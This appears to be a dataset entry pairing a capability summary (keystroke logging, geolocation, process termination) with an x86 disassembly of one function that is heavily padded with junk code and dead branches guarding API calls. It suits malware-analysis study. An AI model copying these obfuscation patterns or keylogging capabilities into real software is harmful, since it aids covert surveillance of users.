Function at 0x463037
Capabilities:
Get disk information
Get disk size
Get file attributes
Get geographical location
Log keystrokes
Resume thread
Start service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x27c
push ebx
xor eax, eax
mov dword [ebp - 0x1c], 0xffffffff
push esi
mov byte [ebp - 0x31], al
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
mov dword [ebp - 0x98], ecx
cmp byte [ebp - 0x31], al
je 0x463067
push eax
push eax
push eax
call edi
xor eax, eax
push 1
mov dword [ebp - 0x1c], eax
pop esi
jmp 0x4630e9
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0xc], eax
jmp 0x46308c
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x40], eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x463082
mov dword [ebp - 0x40], eax
jmp 0x4630e0
mov dword [ebp - 0x2c], 0xffffffff
xor ebx, ebx
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x1c]
cmp edx, ecx
mov edx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
setg bl
sub edx, ebx
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, ecx
mov ecx, dword [ebp - 0x40]
setl bl
xor edx, edx
cmp ebx, ecx
mov ecx, dword [ebp - 0x1c]
setle dl
xor ebx, ebx
test edx, edx
setg bl
sub ebx, ecx
mov dword [ebp - 0x2c], ebx
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x19
jge 0x463096
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff0
je 0x46306f
mov dword [ebp - 0x1c], 0xffffffff
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 0x24], 0x2972
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 0x2c], 0xcf041577
mov dword [ebp - 0x38], 0xef7d2668
push 2
call fcn.004013fc
mov dword [ebp - 0xc], 0
jmp 0x46313e
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1d8]
mov dword [eax + ecx*4], 6
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x46312b
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
add eax, 0xfff7
jne 0x463157
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, 0x8ecb302a
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne dl
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x18], 0
jmp 0x4631ca
mov byte [ebp - 0x31], 0
cmp byte [ebp - 0x31], 0
je 0x4631c7
push 0x1e7
push 0
call ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x4631b4
lea ecx, [ebp - 0x1d8]
call fcn.004014ce
mov dword [ebp - 0xc], 0xaf1124f0
mov dword [ebp - 0xc], 0xfffffff2
jmp 0x463212
mov dword [ebp - 0x2c], 0x9c5a654f
dec dword [ebp - 0x2c]
mov byte [ebp - 0x31], 0
cmp byte [ebp - 0x31], 0
je 0x46320f
push esi
push 0x6a2
push 0x5af
call dword [sym.imp.USER32.dll_AttachThreadInput]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffffa
jl 0x4631ea
xor eax, eax
mov byte [ebp - 1], al
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x24], 0xe02189f4
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x38], 0x912e7550
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x1c]
jge 0x463264
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x4632bd
push eax
push 0xf4c
push 0x145
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
xor eax, eax
jmp 0x4632bd
mov dword [ebp - 0x20], esi
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov esi, 0xcdf5ef88
sub esi, ecx
mov ecx, dword [ebp - 0x20]
cmp ecx, esi
setl dl
mov dword [ebp - 0x1c], edx
mov ecx, dword [ebp - 0x20]
imul ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
jne 0x463290
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x20]
imul edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x20]
cmp edx, 0xdd66
setl cl
xor esi, esi
mov dword [ebp - 0x38], ecx
inc esi
cmp byte [ebp - 1], 0
je 0x4633d1
push dword [ebp - 0x4c]
movdqa xmm0, xmmword [0xa75610]
lea ecx, [ebp - 0x1f4]
push ecx
mov dword [ebp - 0x18], 0xfffffff6
lea ecx, [ebp - 0x204]
mov dword [ebp - 0x24], 0xffffffff
push ecx
mov dword [ebp - 0x10], 0x9d2e
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x30], 0x616d21b1
push eax
movdqu xmmword [ebp - 0x204], xmm0
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
call fcn.0040191b
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setle dl
imul eax, edx, 0x7fc0
test eax, eax
je 0x46334f
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x100]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x24]
sub ecx, eax
je 0x4633ac
xor eax, eax
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x2c]
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x4633bf
push eax
push eax
push 0x174b
push eax
push 0x169c
push eax
push 0xf1a
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x4633bf
mov byte [ebp - 1], 0
cmp byte [ebp - 1], 0
je 0x4633bf
push 0x1e7
push 0
call ebx
lea ecx, [ebp - 0x100]
call fcn.004014ce
xor eax, eax
push eax
push eax
push eax
call edi
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x463be9
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x204]
mov dword [ebp - 0x14], 0xf6af1124
push ecx
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x38], 0xfffffffe
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x7c], eax
push eax
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x78], eax
movdqu xmmword [ebp - 0x214], xmm0
mov dword [ebp - 0x74], eax
call fcn.0040191b
mov dword [ebp - 0x18], 0xa47cdedf
xor eax, eax
mov dword [ebp - 0x10], 0x8b036c86
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x14], 0xfffffff2
cmp dword [ebp - 0x14], 0x17
jne 0x4634e7
mov esi, dword [ebp - 0x7c]
xor edi, edi
inc edi
mov dword [ebp - 0x2c], 0xfa
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x28], 0xa4e66596
mov dword [ebp - 0x28], 0x326874be
mov dword [ebp - 0x28], 0x3cc2
mov dword [ebp - 8], eax
jmp 0x463488
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x26c], 6
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jl 0x463477
mov dword [ebp - 8], eax
jmp 0x4634a4
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x260], 0xfffffffd
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jl 0x463493
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x91
mov ecx, dword [ebp - 0x2c]
setle dl
xor ebx, ebx
cmp ecx, edx
setle bl
neg ebx
add ebx, ebx
je 0x4634d2
mov ecx, edi
cmp dword [ebp - 0x38], eax
jne 0x4634d4
mov ecx, eax
mov dword [esi + 0xc], ecx
dec dword [ebp - 0x18]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x17
je 0x463445
mov dword [ebp - 0x14], 0x10
cmp dword [ebp - 0x14], 0xfffffff5
jne 0x463663
mov edi, dword [ebp - 0x7c]
xor ebx, ebx
mov dword [ebp - 8], 6
mov dword [ebp - 0xc], eax
inc ebx
cmp dword [ebp - 0xc], 3
jge 0x46351d
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0xb0], ebx
inc dword [ebp - 0xc]
jmp 0x463508
mov dword [ebp - 0x18], eax
jmp 0x46356d
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x24], 0xfffa
mov dword [ebp - 0x38], 0xd0e101ea
cmp dword [ecx], eax
jne 0x46355c
mov ecx, dword [ebp - 0xb0]
mov esi, eax
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xa8]
imul ecx, dword [ebp - 0x24]
test ecx, ecx
je 0x46355e
mov esi, ebx
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x7c]
mov dword [ecx + edx*4], esi
mov dword [ebp - 0x38], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x463522
mov ecx, dword [ebp - 8]
mov edx, 0xfffb
cmp edx, ecx
mov esi, 0x3123491
sbb ecx, ecx
xor edx, edx
neg ecx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
cmp ecx, 0xffffffff
mov dword [edi + 8], esi
setge dl
xor ecx, ecx
cmp ecx, edx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [ebp - 0xb0], ecx
mov ecx, dword [ebp - 0x14]
cmp ecx, esi
setle dl
cmp edx, dword [ebp - 8]
je 0x46363a
mov dword [ebp - 0xc], 0xa113d7af
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jne 0x4635cc
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x7c]
cmp dword [ecx], edx
jg 0x4635e1
cmp dword [ebp - 0xb0], eax
je 0x4635e8
mov esi, ebx
cmp dword [ebp - 8], eax
jne 0x4635ea
mov esi, eax
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp esi, ecx
mov ecx, dword [ebp - 0x7c]
setg dl
imul edx, dword [edi + 8]
sub edx, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xb0]
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, ecx
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
setle bl
xor edx, edx
cmp ecx, ebx
mov ecx, dword [ebp - 0xc]
setle dl
add edx, 0xf681
sub esi, edx
neg esi
sbb esi, esi
inc esi
mov dword [edi + 8], esi
sub esi, ecx
sub esi, 9
mov dword [ebp - 0x2c], esi
jmp 0x463656
mov dword [ebp - 0x2c], 0xfffa
mov dword [ebp - 8], 0xa
jmp 0x463650
inc dword [ebp - 0x2c]
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xfffffffd
jne 0x46364a
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff5
je 0x4634fb
lea ecx, [ebp - 0x7c]
call fcn.004014ce
mov dword [ebp - 0x3c], 0xfffffff6
xor eax, eax
xor esi, esi
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0xc], eax
inc esi
jmp 0x46368d
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x44], eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x463683
mov dword [ebp - 0x28], 0xae9714a0
mov dword [ebp - 0x28], 0xfffffff9
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x28], 0xf5cd53bc
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0x276b87d0
mov dword [ebp - 0x38], 0x941fc9a5
mov dword [ebp - 0x28], 0xd3f5047c
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x30], esi
mov dword [ebp - 0xc], eax
jmp 0x4636f0
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x27c], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x4636df
dec dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x19
jl 0x463be6
push 2
pop edi
push 3
lea ecx, [ebp - 0x94]
call fcn.004013fc
mov dword [ebp - 8], 0xffffffff
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x38], 0xfffffff9
mov dword [ebp - 0x28], esi
push edi
call fcn.004013fc
push 4
lea ecx, [ebp - 0x1b0]
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x463760
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x94]
mov dword [ecx + edx*4], 0xff0ea75c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x46374d
mov dword [ebp - 0x14], eax
jmp 0x46377a
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c8]
mov dword [ecx + edx*4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x46376b
mov dword [ebp - 0x14], eax
jmp 0x463797
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1b0]
mov dword [ecx + edx*4], 0x4f989879
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x463784
mov dword [ebp - 8], edi
cmp dword [ebp - 8], eax
jl 0x463963
mov ebx, dword [ebp - 0x1b0]
mov dword [ebp - 0x30], ebx
or ecx, 0xffffffff
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x24], 0x85ce96b7
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x50], edi
cmp dword [ebp - 0x50], eax
jl 0x463927
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x38], 0x6ae3
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx + edx*4]
mov dword [ebp - 0x24], ecx
mov esi, dword [ebp - 0x50]
mov edx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x24]
add ecx, dword [edx + esi*4]
je 0x46387d
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 0x50]
mov ecx, dword [ebp - 8]
neg esi
sbb esi, esi
xor edx, edx
neg esi
cmp esi, ecx
mov ecx, dword [ebp - 8]
setle dl
xor ebx, ebx
cmp edx, ecx
setge bl
xor edx, edx
sub ebx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x94]
cmp ebx, dword [ecx + 4]
setne dl
xor ebx, ebx
sub edx, dword [ecx + 8]
mov ecx, dword [ebp - 8]
cmp edx, ecx
mov ecx, dword [ebp - 0x58]
setg bl
xor edx, edx
cmp ebx, ecx
mov ecx, 0xd4a55f07
setl dl
sub ecx, edx
jne 0x463857
cmp dword [ebp - 0x38], eax
je 0x46387d
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x94]
cmp dword [ecx + edx*4], eax
je 0x46387d
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x463915
call dword [sym.imp.USER32.dll_EndMenu]
jmp 0x463913
xor ebx, ebx
lea ecx, [ebp - 0x18c]
inc ebx
push ebx
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x10], 0x2a93f045
mov dword [ebp - 0xc], eax
jmp 0x4638ad
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18c]
mov dword [ecx + edx*4], 0x6add33d7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x46389a
mov edi, ebx
cmp dword [ebp - 0x10], eax
jne 0x4638bb
mov edi, eax
mov ecx, dword [ebp - 8]
xor ebx, ebx
mov esi, dword [ebp - 0x50]
mov edx, dword [ebp - 0x94]
mov ecx, dword [edx + ecx*4]
cmp ecx, dword [edx + esi*4]
mov ecx, dword [ebp - 0x18c]
setg bl
mov dword [ebp - 0x38], ebx
mov dword [ecx], ebx
xor ebx, ebx
mov ecx, dword [ebp - 0x5c]
cmp ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x58]
setge bl
xor ecx, ecx
sub edx, ebx
sub edx, edi
cmp edx, 0xfffffff6
setne cl
cmp ecx, 0x3395cc9e
je 0x463902
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x2c]
lea ecx, [ebp - 0x18c]
mov dword [ebp - 0x10], eax
call fcn.004014ce
xor eax, eax
dec dword [ebp - 0x50]
push 1
pop esi
jns 0x4637d7
mov ebx, dword [ebp - 0x30]
push 2
pop edi
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x94]
cmp dword [ecx + edx*4], eax
jne 0x46393c
cmp dword [ebp - 0x58], eax
jne 0x46393c
mov esi, eax
dec dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x20]
cmp ecx, 0xffffffff
mov dword [ebx + 0xc], ecx
setg dl
xor ecx, ecx
cmp edx, esi
push 1
setne cl
mov dword [ebp - 0x38], ecx
dec dword [ebp - 8]
pop esi
jns 0x4637b2
lea ecx, [ebp - 0x1b0]
call fcn.004014ce
lea ecx, [ebp - 0x1c8]
call fcn.004014ce
lea ecx, [ebp - 0x94]
call fcn.004014ce
mov dword [ebp - 0x28], 0xffffffff
xor eax, eax
mov dword [ebp - 0x14], 0xfffffffb
mov dword [ebp - 8], 0xfffffff7
mov dword [ebp - 0x64], 0xfffffffd
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x14], eax
jmp 0x463b8c
mov dword [ebp - 0x20], 0x94a18885
mov dword [ebp - 0x38], 0xffff
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffec
je 0x463b86
mov dword [ebp - 0x24], 0x9323d1bc
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x18], 4
push 3
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x30], 9
mov dword [ebp - 0xc], eax
jmp 0x463a0d
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x110]
mov dword [ecx + edx*4], esi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jl 0x4639fe
imul edx, dword [ebp - 0x38], 0xe28d
xor ebx, ebx
mov ecx, dword [ebp - 8]
cmp edx, ecx
mov ecx, dword [ebp - 0x24]
setne bl
sub ecx, ebx
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 8]
sub edx, ecx
mov ecx, dword [ebp - 0x14]
neg edx
sbb edx, edx
dec ecx
inc edx
add ecx, edx
cmp ecx, dword [ebp - 8]
jne 0x463a47
mov ecx, dword [ebp - 8]
cmp dword [ebp - 0x14], 8
mov ecx, dword [ebp - 0x2c]
sbb edx, edx
xor ebx, ebx
neg edx
cmp edx, ecx
mov ecx, dword [ebp - 0x24]
setne bl
xor edx, edx
cmp ecx, ebx
setge dl
cmp edx, dword [ebp - 0x20]
jge 0x463a9d
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x463b5c
push 0x1e2d
push eax
push 0x10ab
push 0x22ed
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
jmp 0x463b5c
mov dword [ebp - 8], eax
jmp 0x463b4d
mov dword [ebp - 0x30], 0xa6ca0cec
mov dword [ebp - 0x18], eax
jmp 0x463b3e
cmp dword [ebp - 0x104], eax
je 0x463ac1
cmp dword [ebp - 0x24], eax
jne 0x463ac3
mov esi, eax
mov ecx, dword [ebp - 0x64]
xor edx, edx
cmp esi, ecx
sete dl
add edx, 0x6de0
cmp edx, dword [ebp - 0x14]
jle 0x463ae5
cmp dword [ebp - 0x18], eax
je 0x463ae5
xor ecx, ecx
inc ecx
mov dword [ebp - 0x10], ecx
jmp 0x463ae8
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x30], ecx
mov esi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x110]
mov edi, dword [edx + ecx*4]
sub edi, dword [edx + esi*4]
mov edx, dword [ebp - 0x30]
neg edi
mov ecx, dword [ebp - 8]
sbb edi, edi
xor ebx, ebx
inc edi
cmp ecx, edx
setge bl
xor edx, edx
cmp edi, ebx
setge dl
xor ecx, ecx
cmp edx, dword [ebp - 0x10]
setne cl
mov dword [ebp - 0x30], ecx
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x463b35
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor eax, eax
inc dword [ebp - 0x18]
push 2
pop edi
push 1
pop esi
cmp dword [ebp - 0x18], edi
jle 0x463ab4
dec dword [ebp - 8]
push 1
pop esi
cmp dword [ebp - 8], 0xffffffe2
jle 0x463aa5
cmp dword [ebp - 0x48], eax
jne 0x463b79
lea ecx, [ebp - 0x110]
call fcn.004014ce
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffec
push 1
pop esi
jne 0x4639d5
jmp 0x463b84
lea ecx, [ebp - 0x110]
call fcn.004014ce
xor eax, eax
inc dword [ebp - 0x14]
push 1
pop esi
cmp dword [ebp - 0x14], 0xb
jge 0x4639ad
mov ecx, dword [ebp - 0x3c]
xor ebx, ebx
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x1c]
cmp edx, ecx
mov edx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
setg bl
sub edx, ebx
neg edx
push 1
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, ecx
mov ecx, dword [ebp - 0x44]
pop esi
setl bl
xor edx, edx
cmp ebx, ecx
mov ecx, dword [ebp - 0x1c]
setle dl
xor ebx, ebx
test edx, edx
setg bl
sub ebx, ecx
mov dword [ebp - 0x28], ebx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x19
jge 0x46370f
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff0
je 0x4633db
mov ebx, dword [ebp - 0x98]
cmp dword [ebx], 0
je 0x464f84
push dword [ebx]
push eax
push dword [ebx + 4]
call fcn.00421732
add esp, 0xc
mov dword [ebp - 0xc], 0xffffffff
lea ecx, [ebp - 0x1a4]
push 4
call fcn.004013fc
mov dword [ebp - 0x24], 0xffffffff
lea ecx, [ebp - 0x174]
push esi
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x28], 0xf0c3da55
mov dword [ebp - 8], eax
jmp 0x463c54
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x1a4]
mov dword [ecx + edx*4], esi
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x463c45
mov dword [ebp - 8], eax
jmp 0x463c72
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x174]
mov dword [ecx + edx*4], 0xfffffffc
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x463c5f
mov ecx, dword [ebp - 0xc]
inc dword [ebp - 0x24]
mov esi, dword [ebp - 0x24]
imul esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x1a4]
add ecx, 6
sub esi, ecx
neg esi
sbb esi, esi
xor edx, edx
inc esi
imul esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
cmp ecx, esi
setg dl
xor ecx, ecx
cmp edx, dword [edi + 4]
setne cl
mov dword [edi + 4], ecx
xor edi, edi
mov ecx, dword [ebp - 0x174]
inc edi
cmp dword [ecx], edi
jg 0x463cec
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x463ccf
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x463d49
push 0x15da
push eax
push 0xb78
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x463d47
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0xcbedfa9
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x2c]
inc dword [ebp - 0x24]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x463d32
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x463d49
push 0xc51
push eax
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x463d60
push 0x22cb
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [ebp - 0x174]
call fcn.004014ce
lea ecx, [ebp - 0x1a4]
call fcn.004014ce
push dword [ebx + 4]
call fcn.00477456
movdqa xmm0, xmmword [0xa75620]
xor eax, eax
pop ecx
push dword [ebp - 0x4c]
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x214]
mov dword [ebp - 0xc], edi
push ecx
mov dword [ebp - 0x2c], 0xca3191b4
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x3c], 0xaff6
push ecx
mov dword [ebp - 0x3c], 0xffffffff
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0x64], 0xffffffff
mov dword [ebp - 0x30], 0x1e043eef
push eax
mov dword [ebx + 4], eax
movdqu xmmword [ebp - 0x224], xmm0
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
call fcn.0040191b
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], eax
jmp 0x463e9e
push 4
lea ecx, [ebp - 0x128]
call fcn.004013fc
mov dword [ebp - 0xc], 0
jmp 0x463e2c
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x128]
mov dword [eax + ecx*4], 0x14f4e797
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x463e19
inc dword [ebp - 0x24]
mov esi, dword [ebp - 0x128]
imul eax, dword [esi + 4], 0xeacb
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax + 0xc]
imul ecx, ecx
sub ecx, dword [eax + 8]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 0x6b471dfd
setge dl
xor ecx, ecx
add edx, dword [esi + 4]
cmp eax, edx
setle cl
imul ecx, dword [ebp - 0x3c]
imul ecx, dword [ebp - 0x1c]
imul eax, ecx, 0xfffffff6
xor ecx, ecx
cmp eax, dword [esi + 4]
setl cl
mov dword [esi + 4], ecx
lea ecx, [ebp - 0x128]
call fcn.004014ce
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff0
jg 0x463e03
push 0xa
pop ebx
mov dword [ebp - 0xc], ebx
cmp dword [ebp - 0xc], 0xffffffe8
je 0x463f18
mov esi, dword [ebp - 0xc8]
mov dword [ebp - 0x10], 0x97de2e51
mov dword [ebp - 0x24], 0x8ec7dffc
